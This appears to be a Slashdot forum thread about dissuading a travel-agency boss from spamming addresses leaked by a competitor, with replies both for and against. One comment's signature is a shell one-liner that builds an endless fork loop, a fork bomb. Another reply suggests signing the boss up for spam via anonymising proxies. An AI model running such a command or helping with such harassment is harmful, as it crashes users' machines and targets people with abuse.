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How To Convince My Boss Not To Spam?
An anonymous reader writes "The small travel agent that I work for recently received an email from one of our competitors with several thousand of their potential customers in the 'To:' and 'Cc:' fields. My boss now wants to use these addresses to send unsolicited advertisements. I would like to convince him not to do this, as I believe that this practice is morally wrong and legally dubious. However, morals don't go very far in the business world, so I'm asking Slashdot: what business-oriented arguments can I use to dissuade my boss from spamming?"
Get his home email address
Enter it here (don't visit from work, do it from a web cafe and behind 7 proxies)
http://www.spamyourenemies.com/
After a while he'll go off the idea. You might want to recommend Thunderbird to him.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Stealing your competitor's customers is what capitalism is.
You need to separate your hate of spam from the realities of business:
Ethical, kind people go bankrupt.
I have my own company, and if this happened to me I would be working this gift from God HARD.
Email all the customers on the list, telling them that the competitor has exposed their email address by their actions, and proposing that you supply their travel needs while guaranteeing that every email communication will be sent individually.
Ethical (you're exposing bad practice on the part of your competitor) and good business.
One swallow does not a fellatrix make
My company has a variety of contact lists, and if any of them were to "leak", by CC etc, I'd start getting emails on addresses that *look* like real people but are in fact aliases for me.
If you boss spams like this, there exists the possibility that the other firm have taken this elementary precaution, which may be anything from seriously embarrassing to legally expensive.
Dominic Connor,Quant Headhunter
I doubt it. If the competitor is able to send mailings without being blacklisted , then there are no honeypot addresses in there. It is not likely that enough recipients will take the effort to report the mail to spamcop.net (are there any other blacklists based on manual reporting? Is the spamcop blacklist widely used anyway?) to get the sender blacklisted. At most, some individual Bayesian filters may become more sensitive to the name of the company and travel-related spam, although I'm not sure how hotmail/gmail/yahoo exactly deal with user-reported spam.
The submitter works for a travel agency. Plenty of competition; the chance that the potential customer comes to them is small anyway.
I'm afraid that, however unethical this spamming would be, the risk of getting in trouble is rather small.
Avantslash: low-bandwidth mobile slashdot.
Reformulate the problem into the sexual / romantic arena. Imagine a guy who asks every single woman he meets "hey baby, nice ass, want to go back to my place?" That sort of thing reeks of desperation as well as lack of confidence, and even if used on hundreds or thousands of women the result is usually 100% failure. In the rare event of success the result is more likely to be ... a less than satisfactory arrangement (e.g. ugly woman, one night stand, STDs, etc.) Additionally, it insults and turns off a huge number of potentially otherwise interested women.
Whereas being more selective in potential romantic partners, using a more measured and sophisticated approach to communication (flirting, chatting, slowly moving to the right level of familiarity at the right time, being willing to back off when necessary, etc.), and presenting a better and more confident image tends to result in higher success rates with more desirable partners, even though it takes more effort.
The same is the case for business. With spam, at best you get some tiny percentage of customers with 0 loyalty whatsoever while building up a huge mountain of ill-will with an enormous number of potential customers. Whereas more socially sophisticated methods of communicating and treating potential customers has a higher chance of success, has a higher chance of creating more profitable and worthwhile customers, has a higher chance of creating customers who have such a positive view of your company and your services that they will tell their friends (doing your advertising and sales work for you), and even in the event of a "missed sale" will still leave the customer with a positive image of your company and product and will leave open the opportunity for that person to become a future customer if they change their mind or develop new needs.
Ask him how he deals with other people in person and make him see that the same reasons he doesn't use lame mass-spam techniques in real life are applicable online, even with strangers.
This technique is proven!
And back on topic: It's almost impossible to get the boss not to spam. I used to work for a sales-oriented person and he didn't give a shit. Spam pissed him off but he was first to spam a million people when they thought they'd get some money.
If you run your own mail server just make sure you configure it to drop any emails destined to more than a few recipients and possibly also drop the recipient list into BCC if there are more than one listed. You won't stop him spamming if he wants to, but you might be able to limit the damage he can cause.
I drink to make other people interesting!
I had this problem as well. At a place I used to work the girl came into my office with a CD labeled "opt in email addresses" that she bought on ebay that looked like it had been harvested by a web scraper and then not even filtered for postmaster/root/abuse accounts. My objections were overruled even after I found my friend on the list and asked him if he had opted in to anything.
Best I could do was send the email in smaller batches (10 000) that would limit the fallout and just pretend I'd sent the full 500 000 emails in the batch that would be just enough to piss the ISP off and get them to threaten to shut the connection and scare them into not doing it again but not enough to force an immediate termination.
Bosses can be stupid.
Man, this is so sadly true. I worked for a company for about 6 months before leaving for greener pastures. They sent mass marketing emails multiple times per month, with as many as 10,000 recipients. They were cautious to not send messages to any one recipient too often so they didn't piss off that person.
The fact is that given the quality of their messages - they weren't V1gara Ci1ais, they weren't scam attempts, and in fact they were pretty carefully targeted based on what industry vertical you were in - they actually had a pretty high response rate. For most campaigns they saw 10-15% response, and they had sales reps personally contact each of those responders (now known as leads).
The calculated lead-to-sale value for email campaigns based a floating 6-month average was around $1,600 (the software cost anywhere from $10,000 to $150,000 depending on which modules you purchased with it, and including 1 year of support maintenance - many customers actually signed on for many years, but it's not considered part of the initial sale). I don't know what the percentage was for lead-to-sale, they didn't track it that way.
So for every person who filled out a contact form from following the link in an email, they made an average of $1,600. When you're sending 10,000 emails for a single campaign, and you have a 10% response rate, each of which is worth $1,600, that campaign profited $16,000. It's hard to argue against this.
In addition, many of those contacts turn into sales later and aren't tracked as a email-to-sale because the email only enabled the relationship with the sales rep to open up, and the sales rep was able to make an independent sale months or possibly years later which wouldn't have been possible without the email sparking an interest.
The company wasn't interested in the moral implications. They weren't interested in the legality of it so long as they adhered to the bare minimum that was required to be legal. They were interested in this thing which provided 100-fold plus return on investment so long as they didn't try to wring to much out of it or otherwise abuse it.
Of course they had to honor opt-out requests, and they did. But they received fewer opt-outs for each campaign than they received leads; and often times the leads they received weren't from the person who received the email, but were actually a colleague who forwarded the message to their coworker or friend; they might actually have added more new recipients each campaign than opted out.
Slay a dragon... over lunch!
Back in the early '90s, I worked at QuickLogic when Lattice was trying to buy us. The deal went pretty far. We had a letter of intent, and had even shared our customer list with them. I like to believe that Lattice's CEO believed me when I told him most of us would rather fail completely than give up the dream of independent success, all the way to an IPO. The next day, the deal was scrapped.
Lattice e-mailed our customer list to every one of their regional sales managers. Let's face it... business is war. It's not pretty out there.
Beer is proof that God loves us, and wants us to be happy.
I've found "reply all" to forwarded email hoaxes to have an effect in stopping people sending them. To me, anyway.
http://marriedmansexlife.com/